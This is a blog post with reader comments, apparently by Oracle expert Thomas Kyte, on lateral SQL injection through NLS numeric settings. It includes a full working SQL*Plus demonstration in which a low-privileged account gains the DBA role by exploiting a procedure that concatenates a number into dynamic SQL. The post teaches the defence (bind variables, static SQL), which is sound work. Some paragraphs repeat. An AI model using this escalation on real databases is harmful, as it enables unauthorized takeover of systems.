All about Security - SQL Injection redux
I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.
One of the comments on that post was by David Litchfield, he wrote:
I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well. It is just a variation on a theme after all). In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers. That is something I hadn't considered before. NLS settings for numbers are different than for dates. With a date, I can set the format string to have any string of characters I want. With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.
But - you can. Just not as flexibly. But the end result can be as disastrous.
One of the follow on comments to this posting by David was:
In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw". But - it doesn't. All it requires is an account with these privileges:
One of the comments on that post was by David Litchfield, he wrote:
Hey Tom,Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers and the first paper here: http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
But - you can. Just not as flexibly. But the end result can be as disastrous.
One of the follow on comments to this posting by David was:
the problem David mentions in http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers only arises since NUM_PROC is owned by SYS,as far as I can see, correct ?
So, it's not really a problem since nobody ever does something as SYS, correct.
In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw". But - it doesn't. All it requires is an account with these privileges:
- Create session
- Create procedure
- Create public synonym <<<=== these guys are evil! Should be avoided
And another schema that has the ability to GRANT stuff - like DBA. It doesn't have to be DBA, it could be any privilege they have the ability to grant.
Here is how to exploit the flaw. First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS. Then you'll understand how:
a%ORA11GR2> select .1 from dual;
.1
----------
P1
works. Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this. I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:
ops$tkyte%ORA11GR2> create or replace procedure do_something( l_num in number )
2 as
3 l_query long;
4 l_cursor sys_refcursor;
5 l_rec all_users%rowtype;
6 begin
7 l_query := '
8 select *
9 from all_users
10 where user_id = ' || l_num;
11 dbms_output.put_line( l_query );
12
13 open l_cursor for l_query;
14
15 loop
16 fetch l_cursor into l_rec;
17 exit when l_cursor%notfound;
18 dbms_output.put_line( 'username = ' ||
l_rec.username );
19 end loop;
20 close l_cursor;
21 end;
22 /
Procedure created.
Then, we'll have our account with the small set of privileges:
ops$tkyte%ORA11GR2> create user a identified by a;
User created.
ops$tkyte%ORA11GR2> grant create session, create procedure,
create public synonym to a;
Grant succeeded.
and we'll allow it to access this procedure - just like in my original SQL Injection article:
ops$tkyte%ORA11GR2> grant execute on do_something to a;
Grant succeeded.
Ok, so now we'll log in as A and run the procedure to see what it does:
ops$tkyte%ORA11GR2> connect a/a
Connected.
a%ORA11GR2>
a%ORA11GR2> exec ops$tkyte.do_something( 5 );
select *
from all_users
where user_id = 5
username = SYSTEM
PL/SQL procedure successfully completed.
Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:
a%ORA11GR2> create or replace function foobar return number
2 authid current_user
3 as
4 pragma autonomous_transaction;
5 begin
6 execute immediate 'grant dba to a';
7 return 5;
8 end;
9 /
Function created.
And then set up our public synonym for it and allow others to execute it:
a%ORA11GR2> create public synonym p1 for foobar;
Synonym created.
a%ORA11GR2> grant execute on foobar to public;
Grant succeeded.
and now for the magic:
a%ORA11GR2> alter session set nls_numeric_characters = 'P ';
Session altered.
and viola:
a%ORA11GR2> set role dba;
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
a%ORA11GR2> exec ops$tkyte.do_something( .1 );
select *
from all_users
where user_id = P1
username = SYSTEM
PL/SQL procedure successfully completed.
a%ORA11GR2> set role dba;
Role set.
I have DBA...
SQL Injection is insidious. SQL Injection is hard to detect. SQL Injection can be avoided - by simply using bind variables. In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited. The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok".
It is really hard to protect yourself from something you cannot see.
Updated a little later: Let me also say this:
If you use static sql in plsql - your code in plsql cannot be sql injected, period. It is not possible. The only way to get sql injected in plsql is to use dynamic sql - that is the only time. So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:
a) write your SQL code in PL/SQL
b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database
If you do that - no SQL Injection attacks are possible.
Updated a little later: Let me also say this:
If you use static sql in plsql - your code in plsql cannot be sql injected, period. It is not possible. The only way to get sql injected in plsql is to use dynamic sql - that is the only time. So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:
a) write your SQL code in PL/SQL
b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database
If you do that - no SQL Injection attacks are possible.
posted by Thomas Kyte at 8:00 AM
23 Comments:
so, ops$tkyte is allowed to grant DBA to something, I see (and that's enough).
Interesting !
Thanks for clarification, but still I am waiting for the longjump result ...
Wow, great post. Thanx to both of you!
@Sokrates
anything ops$tkyte can grant ( like "ALL" on any table in ops$tkyte! ) can be granted this way. So - very much like the date exploit we demonstrated - this would allow you to gain access (read and write) to every schema object in ops$tkyte.
The date exploit could of course do this as well - easily - even easier as it would not need the public synonym privilege at all.
If you have create session and create procedure - using the date exploit with NLS_DATE_FORMAT - you can get every privilege the compromised account is capable of granting...
Hey Tom,
I'd go further than simply saying use bind variables to protect against this. In addition user input should be validated for form and length. If you don't, and your code uses cursors, it can lead to cursor snarfing attacks: http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf. Cursor snarfing arises when a cursor is not closed properly - either due to poor code or failing to close a cursor in the event of an exception. Real world cursor snarfing flaws do exist - for example the default SYS owned DBMS_SQLHASH package was vulnerable - specifically the GETHASH function. I demonstrate this in http://www.databasesecurity.com/oracle/plsql-injection-create-session.pdf In response to this class of flaw Oracle made changes to the way cursors are handled and generated so later versions of the RDBMS are not vulnerable.
@David
I disagree - and agree. I don't want anyone to think that if they validated input - they are good to go. If they handle resources correctly - they don't have a problem. If they do not handle resources correctly - they have a problem regardless of any amount of input validation. The would be subject to a cursor leak anytime any error for any reason occurred in that code.
A cursor leak is a bug in the code, it exists regardless of whether the end user tries to attack you or not.
The code must be fixed. Otherwise you'll leak cursors leading to another type of 'attack', you'll cause an ora-100 eventually and basically have a denial of service attack.
So, yes, do validate inputs - but be aware that you need to have proper exception handling REGARDLESS. Validating inputs is not a protection from the resource leak, it is just good programming practice. If you do not have the right and proper exception/resource handling - your code is botched to begin with.
The comment you made about cursors being handled is restricted solely to the dbms_sql type of cursor. It does not apply to any other type of cursor really. It had to do with the fact that they were just "numbers" and if you left one open, anyone else could pick up on it. Just pointing that out since the way you stated it sounded like any and all cursors.
@Tom,
If I gave the impression that not having good exception handling code is not necessary, it was unintended. Just as using bind variables (where possible and dbms_assert where you it isn't) and validating input, tight exception handling code is also a must :) The point I was trying to make is that, if you're trying to write secure PL/SQL code to prevent SQL injection, relying on bind variables could still leave your code vulnerable to other attacks - so we need a more holistic approach :)
Wrt sys_refcursors etc, there are security issues related to these too, and how they are used. Flaws are rare but developers should be aware. For seasoned developers I'm sure this is all obvious but newbies might not: http://www.v3rity.com/sys_refcursors.pdf
Cheers,
David
Oh - and while we're on cursors... Proof globals are bad :) http://www.v3rity.com/global_cursors.pdf
@David
now i agree.
Error handling, resource management - I could go on for hours about the totally messed up code I've seen. I know how to recognize without even seeing the code. All I need is to see their init.ora or connection pool settings.
If open_cursors is set above something like 200.
If their connection pool is allowed to grow from say 30 to 300.
I *know*, I really know for a fact they
in the case of open_cursors - they have cursor leaks due to bad error handling. they fly over a close statement and leak the cursor.
in the case of the connection pool - they not only will have open cursors set high because they leak cursors, but they are also leaking entire connections.
Every
Single
Time
I see those two things, I know this problem exists. And - as you've pointed out - can be exploited by other developers (hard for the end user to exploit, not hard for another developer to exploit).
Improper exception handling is the #1 cause of all bugs I see in developed software today - honestly.
And I don't need proof globals are bad - I sort of wish plsql didn't have them (along with triggers, commit, autonomous transactions, ...)
For some reason, the website databasesecurity.com is flagged as a 'red' site by McAfee site advisor.
alter session set nls_numeric_characters = 'P ';
What does the above command do? In which language, is the decimal separator represented by 'P' and the group seperator represented by a blank space?
@anonymous,
it isn't a language, it is just a format.
when you ask for the default decimal separator, it'll use the first character of whatever you set in the nls numerice characters.
when you ask for the default group separator, it'll use the second character of whatever you set in the nls numeric characters
for example:
ops$tkyte%ORA11GR2> alter session set nls_numeric_characters = "AB";
Session altered.
ops$tkyte%ORA11GR2> select to_char( 1111.10, '9G999D99' ) from dual;
TO_CHAR(1
---------
1B111A10
ops$tkyte%ORA11GR2>
Actually the point I am trying to make is that Oracle should not allow any arbitrary character to be used as decimal/group seperator. The decimal/group separators must be from a list of known characters from all spoken/written languages. By allowing any character to be used as decimal/group separator, Oracle has created a security hole. Is there any pratical use of allowing any character to be used as decimal/group seperator?
And Oracle should not allow arbitrary characters in NLS_DATE_FORMAT...
@Anonymous
if you truly believe that the flexibility provided by the nls_numeric_characters is the thing that is the "security hole"
if you truly believe that it is not the fault of the developer for using string concatenation, for relying on defaults, for using string concatenation without considering side effects of said defaults, for relying on implicit conversions
Well, I truly do not know what to say - truly.
Sorry - but this is not "Oracle left a back door open". Rather, this is the fact that the developer
a) used string concatenation
b) did not use binds
c) did not validate inputs
d) did not check for side effects
e) relied on defaults
f) used an implicit conversion
plain and simple.
ops$tkyte%ORA11GR2> select 'Signed by me ' || sysdate from dual;
'SIGNEDBYME'||SYSDATE
-----------------------------
Signed by me Anno Domini 2012
of course date formats can and should permit this flexibility - I've long wanted it with number formats as well.
please do not blame the software for a developer inflicted bug.
and remember - you do not even need to use dates or numbers - strings - which are used a lot more than numbers and strings - are totally sql injectable. YOU the developer have to be on the alert when using string concatenation.
It is not only horrible for performance
It is not only bad for memory utilization
It is not only unacceptable for scalability
String concatenation of literals into SQL is a huge security hole.
"String concatenation of literals into SQL is a huge security hole."
and it's also one of the most pernicious practices I've seen out there...
Thanks very possible, please visit my humble blog
?????4????
OK, as for global cursors - they as such do not constitute a security hole. This whole is created by programmers that put cursors intended for the internal use only into the package specification. Keep them in the body if you do not intend them to be used directly by users of your package.
As for the concatenation - if you have a good reason not to use bind variables (such reasons are scarce but exist anyway) properly quote each and any value coming from a user - does not matter string, number or date (provide an explicit conversion in 2 latest cases) and you would be reasonably safe (non-sloppy error handling is implied).
@alo,
reasonably safe, interesting term.
very interesting term.
bottom line remains - there are some wacky attacks out there (google search for
raw sql injection
for example). If you are going to use string concatenation - submit your code to review to at least five people that do not like you and want to make fun of you - and know quite a bit about sql injection attacks. Then you'll be even more "reasonably safe"
@alo,
also, why not demonstrate for us what you consider to be proper quoting techniques?
A proper quoting technique is very simple - double any quote character that is present in a user-supplied string, put the quotes around the string.
As for "reasonable safe" - it is the only applicable term when zou speak about security, you never are absolutely safe (and there are many treats beside SQL-injection).
@alo -
what about cases whereby a TEXT literal is not appropriate? It is not as simple as it sounds. I would still stand up all code that uses concatenation to review by at least five people that don't like the original programmer. They would reject out of hand most cost that doesn't use binds and in the event you truly cannot (usually only when an identifier is being passed around - like a schema owner, or some input to an alter session statement and the like) they would critically review that code to death.
That gets you even more "reasonably close"
In such a case bind variables would not help as well. So we would be in the same boat. Anyhow in my original post was said "reasons not to use bind variables are scarce", that meant in most, virtually all cases bind variables should be used.
@Alo -
I concur that binds would not be useful in such a case either - however - the simple "double up quotes and quote it again" doesn't work at all either.
Meaning: avoid it, and if you have to do it, submit your code for review......... etc etc etc (what I said above).
The times you cannot bind are the same times that the simple "double up and quote it again" do not work either.
POST A COMMENT
<< Home